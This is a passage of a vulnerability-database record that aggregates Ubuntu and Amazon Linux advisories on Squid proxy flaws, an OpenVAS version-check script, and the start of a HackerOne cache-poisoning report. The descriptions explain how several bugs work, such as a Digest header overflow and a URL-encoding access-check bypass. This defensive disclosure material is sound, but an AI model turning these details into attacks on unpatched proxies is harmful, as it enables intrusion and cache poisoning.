"AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T20:18:09", "description": "## Releases\n\n * Ubuntu 18.04 ESM\n * Ubuntu 16.04 ESM\n\n## Packages\n\n * squid3 \\- Web proxy cache server\n\nJeriko One discovered that Squid incorrectly handled caching certain \nrequests. A remote attacker could possibly use this issue to perform \ncache-injection attacks or gain access to reverse proxy features such as \nESI. (CVE-2019-12520)\n\nJeriko One and Kristoffer Danielsson discovered that Squid incorrectly \nhandled certain URN requests. A remote attacker could possibly use this \nissue to bypass access checks. (CVE-2019-12523)\n\nJeriko One discovered that Squid incorrectly handled URL decoding. A remote \nattacker could possibly use this issue to bypass certain rule checks. \n(CVE-2019-12524)\n\nJeriko One and Kristoffer Danielsson discovered that Squid incorrectly \nhandled input validation. A remote attacker could use this issue to cause \nSquid to crash, resulting in a denial of service. (CVE-2019-18676)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-08-03T00:00:00", "type": "ubuntu", "title": "Squid vulnerabilities", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520", "CVE-2019-12523", "CVE-2019-12524", "CVE-2019-18676"], "modified": "2020-08-03T00:00:00", "id": "USN-4446-1", "href": "https://ubuntu.com/security/notices/USN-4446-1", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "amazon": [{"lastseen": "2023-12-03T17:50:36", "description": "**Issue Overview:**\n\nAn issue was discovered in Squid through 4.7. When handling the tag esi:when when ESI is enabled, Squid calls ESIExpression::Evaluate. This function uses a fixed stack buffer to hold the expression while it's being evaluated. When processing the expression, it could either evaluate the top of the stack, or add a new member to the stack. When adding a new member, there is no check to ensure that the stack won't overflow.(CVE-2019-12519)\n\nAn issue was discovered in Squid through 4.7. When Squid is parsing ESI, it keeps the ESI elements in ESIContext. ESIContext contains a buffer for holding a stack of ESIElements. When a new ESIElement is parsed, it is added via addStackElement. addStackElement has a check for the number of elements in this buffer, but it's off by 1, leading to a Heap Overflow of 1 element. The overflow is within the same structure so it can't affect adjacent memory blocks, and thus just leads to a crash while processing.(CVE-2019-12521)\n\nAn issue was discovered in Squid 3.3.9 through 3.5.28 and 4.x through 4.7. When Squid is configured to use Digest authentication, it parses the header Proxy-Authorization. It searches for certain tokens such as domain, uri, and qop. Squid checks if this token's value starts with a quote and ends with one. If so, it performs a memcpy of its length minus 2. Squid never checks whether the value is just a single quote (which would satisfy its requirements), leading to a memcpy of its length minus 1.(CVE-2019-12525)\n\nAn issue was discovered in Squid before 5.0.2. A remote attacker can replay a sniffed Digest Authentication nonce to gain access to resources that are otherwise forbidden. This occurs because the attacker can overflow the nonce reference counter (a short integer). Remote code execution may occur if the pooled token credentials are freed (instead of replayed as valid credentials).(CVE-2020-11945)\n\n \n**Affected Packages:** \n\n\nsquid\n\n \n**Issue Correction:** \nRun _yum update squid_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n i686: \n \u00a0\u00a0\u00a0 squid-3.5.20-15.39.amzn1.i686 \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-15.39.amzn1.i686 \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-15.39.amzn1.i686 \n \n src: \n \u00a0\u00a0\u00a0 squid-3.5.20-15.39.amzn1.src \n \n x86_64: \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-15.39.amzn1.x86_64 \n \u00a0\u00a0\u00a0 squid-3.5.20-15.39.amzn1.x86_64 \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-15.39.amzn1.x86_64 \n \n \n\n### Additional References\n\nRed Hat: [CVE-2019-12519](<https://access.redhat.com/security/cve/CVE-2019-12519>), [CVE-2019-12521](<https://access.redhat.com/security/cve/CVE-2019-12521>), [CVE-2019-12525](<https://access.redhat.com/security/cve/CVE-2019-12525>), [CVE-2020-11945](<https://access.redhat.com/security/cve/CVE-2020-11945>)\n\nMitre: [CVE-2019-12519](<https://vulners.com/cve/CVE-2019-12519>), [CVE-2019-12521](<https://vulners.com/cve/CVE-2019-12521>), [CVE-2019-12525](<https://vulners.com/cve/CVE-2019-12525>), [CVE-2020-11945](<https://vulners.com/cve/CVE-2020-11945>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-06-01T12:25:00", "type": "amazon", "title": "Important: squid", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12521", "CVE-2019-12525", "CVE-2020-11945"], "modified": "2020-06-03T17:27:00", "id": "ALAS-2020-1378", "href": "https://alas.aws.amazon.com/ALAS-2020-1378.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T19:18:03", "description": "**Issue Overview:**\n\nAn issue was discovered in Squid before 5.0.2. A remote attacker can replay a sniffed Digest Authentication nonce to gain access to resources that are otherwise forbidden. This occurs because the attacker can overflow the nonce reference counter (a short integer). Remote code execution may occur if the pooled token credentials are freed (instead of replayed as valid credentials). (CVE-2020-11945)\n\nAn issue was discovered in Squid through 4.7. When handling the tag esi:when when ESI is enabled, Squid calls ESIExpression::Evaluate. This function uses a fixed stack buffer to hold the expression while it's being evaluated. When processing the expression, it could either evaluate the top of the stack, or add a new member to the stack. When adding a new member, there is no check to ensure that the stack won't overflow. (CVE-2019-12519)\n\nAn issue was discovered in Squid 3.3.9 through 3.5.28 and 4.x through 4.7. When Squid is configured to use Digest authentication, it parses the header Proxy-Authorization. It searches for certain tokens such as domain, uri, and qop. Squid checks if this token's value starts with a quote and ends with one. If so, it performs a memcpy of its length minus 2. Squid never checks whether the value is just a single quote (which would satisfy its requirements), leading to a memcpy of its length minus 1. (CVE-2019-12525)\n\nThe cachemgr.cgi web module of Squid through 4.7 has XSS via the user_name or auth parameter. (CVE-2019-13345)\n\n \n**Affected Packages:** \n\n\nsquid\n\n \n**Note:**\n\nThis advisory is applicable to Amazon Linux 2 (AL2) Core repository. Visit this [FAQ section](<../../faqs.html#clarify-al2-advisories>) for the difference between AL2 Core and AL2 Extras advisories. \n\n \n**Issue Correction:** \nRun _yum update squid_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n aarch64: \n \u00a0\u00a0\u00a0 squid-3.5.20-15.amzn2.1.aarch64 \n \u00a0\u00a0\u00a0 squid-sysvinit-3.5.20-15.amzn2.1.aarch64 \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-15.amzn2.1.aarch64 \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-15.amzn2.1.aarch64 \n \n i686: \n \u00a0\u00a0\u00a0 squid-3.5.20-15.amzn2.1.i686 \n \u00a0\u00a0\u00a0 squid-sysvinit-3.5.20-15.amzn2.1.i686 \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-15.amzn2.1.i686 \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-15.amzn2.1.i686 \n \n src: \n \u00a0\u00a0\u00a0 squid-3.5.20-15.amzn2.1.src \n \n x86_64: \n \u00a0\u00a0\u00a0 squid-3.5.20-15.amzn2.1.x86_64 \n \u00a0\u00a0\u00a0 squid-sysvinit-3.5.20-15.amzn2.1.x86_64 \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-15.amzn2.1.x86_64 \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-15.amzn2.1.x86_64 \n \n \n\n### Additional References\n\nRed Hat: [CVE-2019-12519](<https://access.redhat.com/security/cve/CVE-2019-12519>), [CVE-2019-12525](<https://access.redhat.com/security/cve/CVE-2019-12525>), [CVE-2019-13345](<https://access.redhat.com/security/cve/CVE-2019-13345>), [CVE-2020-11945](<https://access.redhat.com/security/cve/CVE-2020-11945>)\n\nMitre: [CVE-2019-12519](<https://vulners.com/cve/CVE-2019-12519>), [CVE-2019-12525](<https://vulners.com/cve/CVE-2019-12525>), [CVE-2019-13345](<https://vulners.com/cve/CVE-2019-13345>), [CVE-2020-11945](<https://vulners.com/cve/CVE-2020-11945>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-06-26T22:56:00", "type": "amazon", "title": "Important: squid", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12525", "CVE-2019-13345", "CVE-2020-11945"], "modified": "2020-07-01T00:03:00", "id": "ALAS2-2020-1448", "href": "https://alas.aws.amazon.com/AL2/ALAS-2020-1448.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T17:50:20", "description": "**Issue Overview:**\n\nAn issue was discovered in Squid before 5.0.2. A remote attacker can replay a sniffed Digest Authentication nonce to gain access to resources that are otherwise forbidden. This occurs because the attacker can overflow the nonce reference counter (a short integer). Remote code execution may occur if the pooled token credentials are freed (instead of replayed as valid credentials). (CVE-2020-11945)\n\nAn issue was discovered in Squid through 4.7. When handling the tag esi:when when ESI is enabled, Squid calls ESIExpression::Evaluate. This function uses a fixed stack buffer to hold the expression while it's being evaluated. When processing the expression, it could either evaluate the top of the stack, or add a new member to the stack. When adding a new member, there is no check to ensure that the stack won't overflow. (CVE-2019-12519)\n\nAn issue was discovered in Squid 3.3.9 through 3.5.28 and 4.x through 4.7. When Squid is configured to use Digest authentication, it parses the header Proxy-Authorization. It searches for certain tokens such as domain, uri, and qop. Squid checks if this token's value starts with a quote and ends with one. If so, it performs a memcpy of its length minus 2. Squid never checks whether the value is just a single quote (which would satisfy its requirements), leading to a memcpy of its length minus 1. (CVE-2019-12525)\n\nThe cachemgr.cgi web module of Squid through 4.7 has XSS via the user_name or auth parameter. (CVE-2019-13345)\n\n \n**Affected Packages:** \n\n\nsquid\n\n \n**Issue Correction:** \nRun _yum update squid_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n i686: \n \u00a0\u00a0\u00a0 squid-3.5.20-15.39.amzn1.i686 \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-15.39.amzn1.i686 \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-15.39.amzn1.i686 \n \n src: \n \u00a0\u00a0\u00a0 squid-3.5.20-15.39.amzn1.src \n \n x86_64: \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-15.39.amzn1.x86_64 \n \u00a0\u00a0\u00a0 squid-3.5.20-15.39.amzn1.x86_64 \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-15.39.amzn1.x86_64 \n \n \n\n### Additional References\n\nRed Hat: [CVE-2019-12519](<https://access.redhat.com/security/cve/CVE-2019-12519>), [CVE-2019-12525](<https://access.redhat.com/security/cve/CVE-2019-12525>), [CVE-2019-13345](<https://access.redhat.com/security/cve/CVE-2019-13345>), [CVE-2020-11945](<https://access.redhat.com/security/cve/CVE-2020-11945>)\n\nMitre: [CVE-2019-12519](<https://vulners.com/cve/CVE-2019-12519>), [CVE-2019-12525](<https://vulners.com/cve/CVE-2019-12525>), [CVE-2019-13345](<https://vulners.com/cve/CVE-2019-13345>), [CVE-2020-11945](<https://vulners.com/cve/CVE-2020-11945>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-06-23T06:08:00", "type": "amazon", "title": "Important: squid", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12519", "CVE-2019-12525", "CVE-2019-13345", "CVE-2020-11945"], "modified": "2020-07-15T17:35:00", "id": "ALAS-2020-1386", "href": "https://alas.aws.amazon.com/ALAS-2020-1386.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-11-07T18:12:25", "description": "**Issue Overview:**\n\nDue to a buffer overflow bug Squid is vulnerable to a Denial of Service attack against HTTP Digest Authentication\n\nAn issue was discovered in Squid through 4.7. When handling requests from users, Squid checks its rules to see if the request should be denied. Squid by default comes with rules to block access to the Cache Manager, which serves detailed server information meant for the maintainer. This rule is implemented via url_regex. The handler for url_regex rules URL decodes an incoming request. This allows an attacker to encode their URL to bypass the url_regex check, and gain access to the blocked resource. (CVE-2019-12524)\n\nAn issue was discovered in Squid 2.x through 2.7.STABLE9, 3.x through 3.5.28, and 4.x through 4.7. When Squid is configured to use Basic Authentication, the Proxy-Authorization header is parsed via uudecode. uudecode determines how many bytes will be decoded by iterating over the input and checking its table. The length is then used to start decoding the string. There are no checks to ensure that the length it calculates isn't greater than the input buffer. This leads to adjacent memory being decoded as well. An attacker would not be able to retrieve the decoded data unless the Squid maintainer had configured the display of usernames on error pages. (CVE-2019-12529)\n\nAn issue was discovered in Squid 3.x and 4.x through 4.8 when the append_domain setting is used (because the appended characters do not properly interact with hostname length restrictions). Due to incorrect message processing, it can inappropriately redirect traffic to origins it should not be delivered to. (CVE-2019-18677)\n\nAn issue was discovered in Squid 3.x and 4.x through 4.8. It allows attackers to smuggle HTTP requests through frontend software to a Squid instance that splits the HTTP Request pipeline differently. The resulting Response messages corrupt caches (between a client and Squid) with attacker-controlled content at arbitrary URLs. Effects are isolated to software between the attacker client and Squid. There are no effects on Squid itself, nor on any upstream servers. The issue is related to a request header containing whitespace between a header name and a colon. (CVE-2019-18678)\n\nSquid before 4.9, when certain web browsers are used, mishandles HTML in the host (aka hostname) parameter to cachemgr.cgi. (CVE-2019-18860)\n\nSquid through 4.14 and 5.x through 5.0.5, in some configurations, allows information disclosure because of an out-of-bounds read in WCCP protocol data. This can be leveraged as part of a chain for remote code execution as nobody. (CVE-2021-28116)\n\n \n**Affected Packages:** \n\n\nsquid\n\n \n**Issue Correction:** \nRun _yum update squid_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n aarch64: \n \u00a0\u00a0\u00a0 squid-3.5.20-17.amzn2.7.10.aarch64 \n \u00a0\u00a0\u00a0 squid-sysvinit-3.5.20-17.amzn2.7.10.aarch64 \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-17.amzn2.7.10.aarch64 \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-17.amzn2.7.10.aarch64 \n \n i686: \n \u00a0\u00a0\u00a0 squid-3.5.20-17.amzn2.7.10.i686 \n \u00a0\u00a0\u00a0 squid-sysvinit-3.5.20-17.amzn2.7.10.i686 \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-17.amzn2.7.10.i686 \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-17.amzn2.7.10.i686 \n \n src: \n \u00a0\u00a0\u00a0 squid-3.5.20-17.amzn2.7.10.src \n \n x86_64: \n \u00a0\u00a0\u00a0 squid-3.5.20-17.amzn2.7.10.x86_64 \n \u00a0\u00a0\u00a0 squid-sysvinit-3.5.20-17.amzn2.7.10.x86_64 \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-17.amzn2.7.10.x86_64 \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-17.amzn2.7.10.x86_64 \n \n \n\n### Additional References\n\nRed Hat: [CVE-2019-12524](<https://access.redhat.com/security/cve/CVE-2019-12524>), [CVE-2019-12529](<https://access.redhat.com/security/cve/CVE-2019-12529>), [CVE-2019-18677](<https://access.redhat.com/security/cve/CVE-2019-18677>), [CVE-2019-18678](<https://access.redhat.com/security/cve/CVE-2019-18678>), [CVE-2019-18860](<https://access.redhat.com/security/cve/CVE-2019-18860>), [CVE-2021-28116](<https://access.redhat.com/security/cve/CVE-2021-28116>)\n\nMitre: [CVE-2019-12524](<https://vulners.com/cve/CVE-2019-12524>), [CVE-2019-12529](<https://vulners.com/cve/CVE-2019-12529>), [CVE-2019-18677](<https://vulners.com/cve/CVE-2019-18677>), [CVE-2019-18678](<https://vulners.com/cve/CVE-2019-18678>), [CVE-2019-18860](<https://vulners.com/cve/CVE-2019-18860>), [CVE-2021-28116](<https://vulners.com/cve/CVE-2021-28116>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-10-25T21:40:00", "type": "amazon", "title": "Critical: squid", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12524", "CVE-2019-12529", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18860", "CVE-2021-28116"], "modified": "2023-10-26T22:57:00", "id": "ALAS2-2023-2318", "href": "https://alas.aws.amazon.com/AL2/ALAS-2023-2318.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T18:36:29", "description": "**Issue Overview:**\n\nAn issue was discovered in Squid through 4.7. When handling requests from users, Squid checks its rules to see if the request should be denied. Squid by default comes with rules to block access to the Cache Manager, which serves detailed server information meant for the maintainer. This rule is implemented via url_regex. The handler for url_regex rules URL decodes an incoming request. This allows an attacker to encode their URL to bypass the url_regex check, and gain access to the blocked resource. (CVE-2019-12524)\n\nAn issue was discovered in Squid 2.x through 2.7.STABLE9, 3.x through 3.5.28, and 4.x through 4.7. When Squid is configured to use Basic Authentication, the Proxy-Authorization header is parsed via uudecode. uudecode determines how many bytes will be decoded by iterating over the input and checking its table. The length is then used to start decoding the string. There are no checks to ensure that the length it calculates isn't greater than the input buffer. This leads to adjacent memory being decoded as well. An attacker would not be able to retrieve the decoded data unless the Squid maintainer had configured the display of usernames on error pages. (CVE-2019-12529)\n\nAn issue was discovered in Squid 3.x and 4.x through 4.8 when the append_domain setting is used (because the appended characters do not properly interact with hostname length restrictions). Due to incorrect message processing, it can inappropriately redirect traffic to origins it should not be delivered to. (CVE-2019-18677)\n\nAn issue was discovered in Squid 3.x and 4.x through 4.8. It allows attackers to smuggle HTTP requests through frontend software to a Squid instance that splits the HTTP Request pipeline differently. The resulting Response messages corrupt caches (between a client and Squid) with attacker-controlled content at arbitrary URLs. Effects are isolated to software between the attacker client and Squid. There are no effects on Squid itself, nor on any upstream servers. The issue is related to a request header containing whitespace between a header name and a colon. (CVE-2019-18678)\n\nSquid before 4.9, when certain web browsers are used, mishandles HTML in the host (aka hostname) parameter to cachemgr.cgi. (CVE-2019-18860)\n\nSquid through 4.14 and 5.x through 5.0.5, in some configurations, allows information disclosure because of an out-of-bounds read in WCCP protocol data. This can be leveraged as part of a chain for remote code execution as nobody. (CVE-2021-28116)\n\nDue to a buffer overflow bug Squid is vulnerable to a Denial of Service attack against HTTP Digest Authentication (CVE-2023-46847)\n\n \n**Affected Packages:** \n\n\nsquid\n\n \n**Note:**\n\nThis advisory is applicable to Amazon Linux 2 (AL2) Core repository. Visit this [FAQ section](<../../faqs.html#clarify-al2-advisories>) for the difference between AL2 Core and AL2 Extras advisories. \n\n \n**Issue Correction:** \nRun _yum update squid_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n aarch64: \n \u00a0\u00a0\u00a0 squid-3.5.20-17.amzn2.7.10.aarch64 \n \u00a0\u00a0\u00a0 squid-sysvinit-3.5.20-17.amzn2.7.10.aarch64 \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-17.amzn2.7.10.aarch64 \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-17.amzn2.7.10.aarch64 \n \n i686: \n \u00a0\u00a0\u00a0 squid-3.5.20-17.amzn2.7.10.i686 \n \u00a0\u00a0\u00a0 squid-sysvinit-3.5.20-17.amzn2.7.10.i686 \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-17.amzn2.7.10.i686 \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-17.amzn2.7.10.i686 \n \n src: \n \u00a0\u00a0\u00a0 squid-3.5.20-17.amzn2.7.10.src \n \n x86_64: \n \u00a0\u00a0\u00a0 squid-3.5.20-17.amzn2.7.10.x86_64 \n \u00a0\u00a0\u00a0 squid-sysvinit-3.5.20-17.amzn2.7.10.x86_64 \n \u00a0\u00a0\u00a0 squid-migration-script-3.5.20-17.amzn2.7.10.x86_64 \n \u00a0\u00a0\u00a0 squid-debuginfo-3.5.20-17.amzn2.7.10.x86_64 \n \n \n\n### Additional References\n\nRed Hat: [CVE-2019-12524](<https://access.redhat.com/security/cve/CVE-2019-12524>), [CVE-2019-12529](<https://access.redhat.com/security/cve/CVE-2019-12529>), [CVE-2019-18677](<https://access.redhat.com/security/cve/CVE-2019-18677>), [CVE-2019-18678](<https://access.redhat.com/security/cve/CVE-2019-18678>), [CVE-2019-18860](<https://access.redhat.com/security/cve/CVE-2019-18860>), [CVE-2021-28116](<https://access.redhat.com/security/cve/CVE-2021-28116>), [CVE-2023-46847](<https://access.redhat.com/security/cve/CVE-2023-46847>)\n\nMitre: [CVE-2019-12524](<https://vulners.com/cve/CVE-2019-12524>), [CVE-2019-12529](<https://vulners.com/cve/CVE-2019-12529>), [CVE-2019-18677](<https://vulners.com/cve/CVE-2019-18677>), [CVE-2019-18678](<https://vulners.com/cve/CVE-2019-18678>), [CVE-2019-18860](<https://vulners.com/cve/CVE-2019-18860>), [CVE-2021-28116](<https://vulners.com/cve/CVE-2021-28116>), [CVE-2023-46847](<https://vulners.com/cve/CVE-2023-46847>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-10-25T21:40:00", "type": "amazon", "title": "Critical: squid", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12524", "CVE-2019-12529", "CVE-2019-18677", "CVE-2019-18678", "CVE-2019-18860", "CVE-2021-28116", "CVE-2023-46847"], "modified": "2023-11-06T21:16:00", "id": "ALAS-2023-2318", "href": "https://alas.aws.amazon.com/AL2/ALAS-2023-2318.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "openvas": [{"lastseen": "2020-05-18T15:38:38", "description": "The remote host is missing an update for the ", "cvss3": {}, "published": "2020-05-14T00:00:00", "type": "openvas", "title": "Ubuntu: Security Advisory for squid (USN-4356-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-12519", "CVE-2019-12521", "CVE-2019-18860", "CVE-2020-11945"], "modified": "2020-05-15T00:00:00", "id": "OPENVAS:1361412562310844426", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310844426", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Some text descriptions might be excerpted from (a) referenced\n# source(s), and are Copyright (C) by the respective right holder(s).\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 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Squid keeps meta data and especially\nhot objects cached in RAM, caches DNS lookups, supports non-blocking\nDNS lookups, and implements negative caching of failed requests.\n\nSquid consists of a main server program squid, a Domain Name System\nlookup program (dnsserver), a program for retrieving FTP data\n(ftpget), and some management and client tools.\");\n\n script_tag(name:\"affected\", value:\"'squid' package(s) on Fedora 32.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"FC32\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"squid\", rpm:\"squid~4.11~1.fc32\", rls:\"FC32\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if(__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "hackerone": [{"lastseen": "2023-10-17T07:28:29", "bounty": 0.0, "description": "## Summary:\nAn attacker can cause Squid to return to the user attacker controlled data, for any domain. From Squid-4.7 and below both HTTPS and FTP could be poisoned. This is due to Squid URL decoding parts of the Request URL and using that to create a hash. Request that decode to the same URL will retrieve the same cached response even if they're from different domains. \n\nThe fix for CVE-2019-12524 removed the HTTPS aspect of it, but FTP poisoning was still possible till Squid-4.10. \n\n<= Squid-4.9 Vulnerable\n<= Squid-4.7 Can also poison HTTPS was reduced to just 